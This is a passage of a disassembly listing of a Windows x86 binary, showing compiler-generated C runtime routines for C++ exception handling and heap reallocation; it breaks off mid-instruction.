jz loc_413922 mov eax, dword_4BA2FC push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41726A pop ecx test eax, eax pop ecx jnz short loc_413826 call sub_413FB2 loc_413826: ; CODE XREF: sub_4137AB+74j cmp [esi], ebx jnz loc_413927 cmp dword ptr [esi+10h], 3 jnz short loc_413844 cmp [esi+14h], edi jnz short loc_413844 cmp dword ptr [esi+1Ch], 0 jnz short loc_413844 call sub_413FB2 loc_413844: ; CODE XREF: sub_4137AB+41j ; sub_4137AB+46j ... cmp [esi], ebx jnz loc_413927 cmp dword ptr [esi+10h], 3 jnz loc_413927 cmp [esi+14h], edi jnz loc_413927 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_40F2E3 add esp, 14h mov ebx, eax loc_41387B: ; CODE XREF: sub_4137AB+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_413912 cmp [ebx], edi jg short loc_413907 cmp edi, [ebx+4] jg short loc_413907 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_413904 loc_4138A0: ; CODE XREF: sub_4137AB+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_4138D1 loc_4138B2: ; CODE XREF: sub_4137AB+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4139FA add esp, 0Ch test eax, eax jnz short loc_4138E0 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_4138B2 loc_4138D1: ; CODE XREF: sub_4137AB+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_4138A0 jmp short loc_413904 ; --------------------------------------------------------------------------- loc_4138E0: ; CODE XREF: sub_4137AB+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_413B0B add esp, 2Ch loc_413904: ; CODE XREF: sub_4137AB+F3j ; sub_4137AB+133j mov edi, [ebp+var_10] loc_413907: ; CODE XREF: sub_4137AB+DEj ; sub_4137AB+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41387B ; --------------------------------------------------------------------------- loc_413912: ; CODE XREF: sub_4137AB+D6j cmp [ebp+arg_14], 0 jz short loc_413922 push 1 push esi call sub_413E80 pop ecx pop ecx loc_413922: ; CODE XREF: sub_4137AB+56j ; sub_4137AB+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413927: ; CODE XREF: sub_4137AB+37j ; sub_4137AB+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41394D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_413952 add esp, 20h jmp short loc_413922 ; --------------------------------------------------------------------------- loc_41394D: ; CODE XREF: sub_4137AB+180j jmp sub_413F5C sub_4137AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413952 proc near ; CODE XREF: sub_4137AB+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4BA300, 0 push esi push edi jz short loc_413983 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40F1BA add esp, 1Ch test eax, eax jnz short loc_4139F6 loc_413983: ; CODE XREF: sub_413952+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_40F2E3 add esp, 14h mov esi, eax loc_41399F: ; CODE XREF: sub_413952+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_4139F6 cmp edi, [esi] jl short loc_4139EE cmp edi, [esi+4] jg short loc_4139EE mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4139C8 cmp byte ptr [ecx+8], 0 jnz short loc_4139EE loc_4139C8: ; CODE XREF: sub_413952+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_413B0B add esp, 2Ch loc_4139EE: ; CODE XREF: sub_413952+57j ; sub_413952+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41399F ; --------------------------------------------------------------------------- loc_4139F6: ; CODE XREF: sub_413952+2Fj ; sub_413952+53j pop edi pop esi leave retn sub_413952 endp ; =============== S U B R O U T I N E ======================================= sub_4139FA proc near ; CODE XREF: sub_4137AB+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_413A51 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_413A51 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_413A2B add ecx, 8 push ecx push edx call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_413A4D loc_413A2B: ; CODE XREF: sub_4139FA+1Fj test byte ptr [esi], 2 jz short loc_413A35 test byte ptr [edi], 8 jz short loc_413A4D loc_413A35: ; CODE XREF: sub_4139FA+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_413A44 test byte ptr [edi], 1 jz short loc_413A4D loc_413A44: ; CODE XREF: sub_4139FA+43j test al, 2 jz short loc_413A51 test byte ptr [edi], 2 jnz short loc_413A51 loc_413A4D: ; CODE XREF: sub_4139FA+2Fj ; sub_4139FA+39j ... xor eax, eax jmp short loc_413A54 ; --------------------------------------------------------------------------- loc_413A51: ; CODE XREF: sub_4139FA+Bj ; sub_4139FA+14j ... push 1 pop eax loc_413A54: ; CODE XREF: sub_4139FA+55j pop edi pop esi retn sub_4139FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A57 proc near ; CODE XREF: sub_413710+34p ; sub_413B0B+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A488 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_413A89: ; CODE XREF: sub_413A57+8Aj cmp esi, [ebp+arg_C] jz short loc_413AE3 cmp esi, 0FFFFFFFFh jle short loc_413A98 cmp esi, [edi+4] jl short loc_413A9D loc_413A98: ; CODE XREF: sub_413A57+3Aj call sub_413FB2 loc_413A9D: ; CODE XREF: sub_413A57+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_413AB8 push 103h push ebx push eax call sub_413F10 loc_413AB8: ; CODE XREF: sub_413A57+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_413AD8 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_413AF5 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_413AD8: ; CODE XREF: sub_413A57+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_413A89 ; --------------------------------------------------------------------------- loc_413AE3: ; CODE XREF: sub_413A57+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_413A57 endp ; =============== S U B R O U T I N E ======================================= sub_413AF5 proc near ; CODE XREF: sub_413A57+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_413B06 xor eax, eax retn ; --------------------------------------------------------------------------- loc_413B06: ; CODE XREF: sub_413AF5+Cj jmp sub_413F5C sub_413AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B0B proc near ; CODE XREF: sub_4137AB+151p ; sub_413952+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_413B2D push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_413CBC add esp, 10h loc_413B2D: ; CODE XREF: sub_413B0B+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_413B39 push edi jmp short loc_413B3C ; --------------------------------------------------------------------------- loc_413B39: ; CODE XREF: sub_413B0B+29j push [ebp+arg_24] loc_413B3C: ; CODE XREF: sub_413B0B+2Cj call sub_40F0BC mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_413A57 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_413B86 add esp, 2Ch test eax, eax jz short loc_413B81 push edi push eax call sub_40F07A loc_413B81: ; CODE XREF: sub_413B0B+6Dj pop edi pop esi pop ebx pop ebp retn sub_413B0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B86 proc near ; CODE XREF: sub_413B0B+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A498 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4BA2F8 mov [ebp+var_1C], ecx mov ecx, dword_4BA2FC mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4BA2F8, edi mov ecx, [ebp+arg_8] mov dword_4BA2FC, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_40F141 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_413C4C mov eax, [ebp+var_2C] loc_413C13: ; CODE XREF: sub_413C2C+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_413B86 endp ; =============== S U B R O U T I N E ======================================= sub_413C22 proc near ; DATA XREF: .packed:0041A4A8o push dword ptr [ebp-14h] call sub_413C92 pop ecx retn sub_413C22 endp ; =============== S U B R O U T I N E ======================================= sub_413C2C proc near ; DATA XREF: .packed:0041A4ACo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_40F3A2 pop ecx pop ecx xor eax, eax jmp short loc_413C13 sub_413C2C endp ; --------------------------------------------------------------------------- loc_413C44: ; DATA XREF: .packed:0041A4A0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_413C4C proc near ; CODE XREF: sub_413B86+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4BA2F8, eax mov eax, [ebp-20h] mov dword_4BA2FC, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_413C91 cmp dword ptr [edi+10h], 3 jnz short locret_413C91 cmp dword ptr [edi+14h], 19930520h jnz short locret_413C91 cmp [ebp-24h], ebx jnz short locret_413C91 cmp [ebp-2Ch], ebx jz short locret_413C91 call sub_40F40A push eax push edi call sub_413E80 pop ecx pop ecx locret_413C91: ; CODE XREF: sub_413C4C+1Cj ; sub_413C4C+22j ... retn sub_413C4C endp ; =============== S U B R O U T I N E ======================================= sub_413C92 proc near ; CODE XREF: sub_413C22+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_413CB9 cmp dword ptr [eax+10h], 3 jnz short loc_413CB9 cmp dword ptr [eax+14h], 19930520h jnz short loc_413CB9 cmp dword ptr [eax+1Ch], 0 jnz short loc_413CB9 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413C92+Cj ; sub_413C92+12j ... xor eax, eax retn sub_413C92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CBC proc near ; CODE XREF: sub_413B0B+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A4B0 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_413E65 cmp byte ptr [eax+8], 0 jz loc_413E65 mov eax, [ecx+8] test eax, eax jz loc_413E65 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_413D59 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41726A pop ecx pop ecx test eax, eax jz loc_413E5C push 1 push edi call sub_417286 pop ecx pop ecx test eax, eax jz loc_413E5C mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_413D4A: ; CODE XREF: sub_413CBC+F5j push eax call sub_413EE7 pop ecx pop ecx mov [edi], eax jmp loc_413E61 ; --------------------------------------------------------------------------- loc_413D59: ; CODE XREF: sub_413CBC+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_413DB3 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41726A pop ecx pop ecx test eax, eax jz loc_413E5C push 1 push edi call sub_417286 pop ecx pop ecx test eax, eax jz loc_413E5C push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_40F480 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_413E61 mov eax, [edi] test eax, eax jz loc_413E61 add esi, 8 push esi jmp short loc_413D4A ; --------------------------------------------------------------------------- loc_413DB3: ; CODE XREF: sub_413CBC+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_413DFB call sub_41726A pop ecx pop ecx test eax, eax jz loc_413E5C push 1 push edi call sub_417286 pop ecx pop ecx test eax, eax jz short loc_413E5C push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_413EE7 pop ecx pop ecx push eax push edi call sub_40F480 add esp, 0Ch jmp short loc_413E61 ; --------------------------------------------------------------------------- loc_413DFB: ; CODE XREF: sub_413CBC+103j call sub_41726A pop ecx pop ecx test eax, eax jz short loc_413E5C push 1 push edi call sub_417286 pop ecx pop ecx test eax, eax jz short loc_413E5C push dword ptr [esi+18h] call sub_4172A2 pop ecx test eax, eax jz short loc_413E5C test byte ptr [esi], 4 jz short loc_413E42 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_413EE7 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_40F0B5 jmp short loc_413E61 ; --------------------------------------------------------------------------- loc_413E42: ; CODE XREF: sub_413CBC+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_413EE7 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_40F0AE jmp short loc_413E61 ; --------------------------------------------------------------------------- loc_413E5C: ; CODE XREF: sub_413CBC+6Aj ; sub_413CBC+7Cj ... call sub_413FB2 loc_413E61: ; CODE XREF: sub_413CBC+98j ; sub_413CBC+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_413E65: ; CODE XREF: sub_413CBC+2Ej ; sub_413CBC+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_413CBC endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_413F5C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E80 proc near ; CODE XREF: sub_4137AB+170p ; sub_413C4C+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A4C0 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_413EC7 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_413EC7 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_40F0AE or [ebp+var_4], 0FFFFFFFFh loc_413EC7: ; CODE XREF: sub_413E80+2Aj ; sub_413E80+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_413E80 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_413F5C ; =============== S U B R O U T I N E ======================================= sub_413EE7 proc near ; CODE XREF: sub_413CBC+8Fp ; sub_413CBC+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_413F08 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_413F08: ; CODE XREF: sub_413EE7+12j pop esi retn sub_413EE7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F10 proc near ; CODE XREF: sub_40F141+40p ; sub_413A57+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_40F42D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_413F4F mov ecx, 2 loc_413F4F: ; CODE XREF: sub_413F10+38j push ecx call sub_40F42D pop ebp pop ecx pop ebx leave retn 0Ch sub_413F10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F5C proc near ; CODE XREF: sub_4137AB:loc_41394Dj ; sub_413AF5:loc_413B06j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004172BA SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A4D0 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4BA304 test eax, eax jz short loc_413FA4 mov [ebp+var_4], 1 call eax jmp short loc_413FA0 ; --------------------------------------------------------------------------- loc_413F99: ; DATA XREF: .packed:0041A4E0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_413F9D: ; DATA XREF: .packed:0041A4E4o mov esp, [ebp+var_18] loc_413FA0: ; CODE XREF: sub_413F5C+3Bj and [ebp+var_4], 0 loc_413FA4: ; CODE XREF: sub_413F5C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_413FAD: ; DATA XREF: .packed:0041A4D8o jmp loc_4172BA sub_413F5C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FB2 proc near ; CODE XREF: sub_40F2E3+23p ; sub_40F2E3:loc_40F34Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A4E8 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_424214 test eax, eax jz short loc_413FFA mov [ebp+var_4], 1 call eax ; sub_413F5C jmp short loc_413FF6 ; --------------------------------------------------------------------------- loc_413FEF: ; DATA XREF: .packed:0041A4F8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_413FF3: ; DATA XREF: .packed:0041A4FCo mov esp, [ebp+var_18] loc_413FF6: ; CODE XREF: sub_413FB2+3Bj and [ebp+var_4], 0 loc_413FFA: ; CODE XREF: sub_413FB2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_414003: ; DATA XREF: .packed:0041A4F0o jmp sub_413F5C sub_413FB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414008 proc near ; CODE XREF: sub_40F7C3+35p ; sub_419489+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_414023 push [ebp+arg_4] call sub_40E882 pop ecx jmp loc_4142A3 ; --------------------------------------------------------------------------- loc_414023: ; CODE XREF: sub_414008+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_414038 push [ebp+arg_0] call sub_40ECAF pop ecx jmp loc_4142A1 ; --------------------------------------------------------------------------- loc_414038: ; CODE XREF: sub_414008+20j mov eax, dword_4BB8E4 cmp eax, 3 jnz loc_414148 loc_414046: ; CODE XREF: sub_414008+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_414124 push [ebp+arg_0] call sub_4117EF mov ebx, eax pop ecx test ebx, ebx jz loc_4140FF cmp esi, dword_4BB8DC ja short loc_4140B8 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_411FF8 add esp, 0Ch test eax, eax jnz short loc_4140B4 push esi call sub_411B43 mov edi, eax pop ecx test edi, edi jz short loc_4140B8 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_414098 mov eax, esi loc_414098: ; CODE XREF: sub_414008+8Cj push eax push ebx push edi call sub_40E940 push ebx call sub_4117EF push [ebp+arg_0] mov ebx, eax push ebx call sub_41181A add esp, 18h loc_4140B4: ; CODE XREF: sub_414008+74j test edi, edi jnz short loc_4140FB loc_4140B8: ; CODE XREF: sub_414008+62j ; sub_414008+81j test esi, esi jnz short loc_4140BF push 1 pop esi loc_4140BF: ; CODE XREF: sub_414008+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4BB8E0 call dword_41A120 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4140FB mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_4140E7 mov eax, esi loc_4140E7: ; CODE XREF: sub_414008+DBj push eax push ecx push edi call sub_40E940 push [ebp+arg_0] push ebx call sub_41181A add esp, 14h loc_4140FB: ; CODE XREF: sub_414008+AEj ; sub_414008+D0j test ebx, ebx jnz short loc_414120 loc_4140FF: ; CODE XREF: sub_414008+56j test esi, esi jnz short loc_414106 push 1 pop esi loc_414106: ; CODE XREF: sub_414008+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4BB8E0 call dword_41A154 ; RtlReAllocateHeap mov edi, eax loc_414120: ; CODE XREF: sub_414008+F5j test edi, edi jnz short loc_414141 loc_414124: ; CODE XREF: sub_414008+43j cmp dword_4BA2DC, 0 jz short loc_414141 push esi call sub_4115BA test eax, eax pop ecx jnz loc_414046 jmp loc_4142A1 ; --------------------------------------------------------------------------- loc_414141: ; CODE XREF: sub_414008+11Aj ; sub_414008+123j ... mov eax, edi jmp loc_4142A3 ; --------------------------------------------------------------------------- loc_414148: ; CODE XREF: sub_414008+38j cmp eax, 2 jnz loc_414263 cmp esi, 0FFFFFFE0h ja short loc_414165 test esi, esi jbe short loc_414162 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_414165 ; --------------------------------------------------------------------------- loc_414162: ; CODE XREF: sub_414008+150j push 10h pop esi loc_414165: ; CODE XREF: sub_414008+14Cj ; sub_414008+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_414245 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41254A mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_414229 cmp esi, dword_4240CC jnb short loc_4141ED mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_412912 add esp, 10h test eax, eax jz short loc_4141B3 mov edi, [ebp+arg_0] jmp short loc_4141E5 ; --------------------------------------------------------------------------- loc_4141B3: ; CODE XREF: sub_414008+1A4j push edi call sub_4125E6 mov edi, eax pop ecx test edi, edi jz short loc_4141ED movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_4141CC mov eax, esi loc_4141CC: ; CODE XREF: sub_414008+1C0j push eax push [ebp+arg_0] push edi call sub_40E940 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_4125A1 add esp, 18h loc_4141E5: ; CODE XREF: sub_414008+1A9j test edi, edi jnz loc_414141 loc_4141ED: ; CODE XREF: sub_414008+18Bj ; sub_414008+1B6j push esi push 0 push dword_4BB8E0 call dword_41A120 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_414245 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41420E mov eax, esi loc_41420E: ; CODE XREF: sub_414008+202j push eax push [ebp+arg_0] push edi call sub_40E940 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_4125A1 add esp, 18h jmp short loc_41423D ; --------------------------------------------------------------------------- loc_414229: ; CODE XREF: sub_414008+17Fj push esi push [ebp+arg_0] push 0 push dword_4BB8E0 call dword_41A154 ; RtlReAllocateHeap mov edi, eax loc_41423D: ; CODE XREF: sub_414008+21Fj test edi, edi jnz loc_414141 loc_414245: ; CODE XREF: sub_414008+162j ; sub_414008+1F8j cmp dword_4BA2DC, 0 jz loc_414141 push esi call sub_4115BA test eax, eax pop ecx jnz loc_414165 jmp short loc_4142A1 ; --------------------------------------------------------------------------- loc_414263: ; CODE XREF: sub_414008+143j ; sub_414008+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41428D test esi, esi jnz short loc_414271 push 1 pop esi loc_414271: ; CODE XREF: sub_414008+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4BB8E0 call dword_41A154 ; RtlReAllocateHeap test eax, eax jnz short loc_4142A3 loc_41428D: ; CODE XREF: sub_414008+260j cmp dword_4BA2DC, 0 jz short loc_4142A3 push esi call sub_4115BA test eax, eax pop ecx jnz short loc_414263 loc_4142A1: ; CODE XREF: sub_414008+2Bj ; sub_414008+134j ... xor eax, eax loc_4142A3: ; CODE XREF: sub_414008+16j ; sub_414008+13Bj ... pop edi pop esi pop ebx leave retn sub_414008 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142A8 proc near ; CODE XREF: sub_40F7C3+7p ; sub_40F7C3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4BB8E4 push esi cmp eax, 3 jnz short loc_4142D1 mov esi, [ebp+arg_0] push esi call sub_4117EF test eax, eax pop ecx jz short loc_4142CE mov eax, [esi-4] sub eax, 9 jmp short loc_414306 ; --------------------------------------------------------------------------- loc_4142CE: ; CODE XREF: sub_4142A8+1Cj push esi jmp short loc_4142F8 ; --------------------------------------------------------------------------- loc_4142D1: ; CODE XREF: sub_4142A8+Ej cmp eax, 2 jnz short loc_4142F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41254A add esp, 0Ch test eax, eax jz short loc_4142F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_414306 ; --------------------------------------------------------------------------- loc_4142F5: ; CODE XREF: sub_4142A8+2Cj ; sub_4142A8+43j push 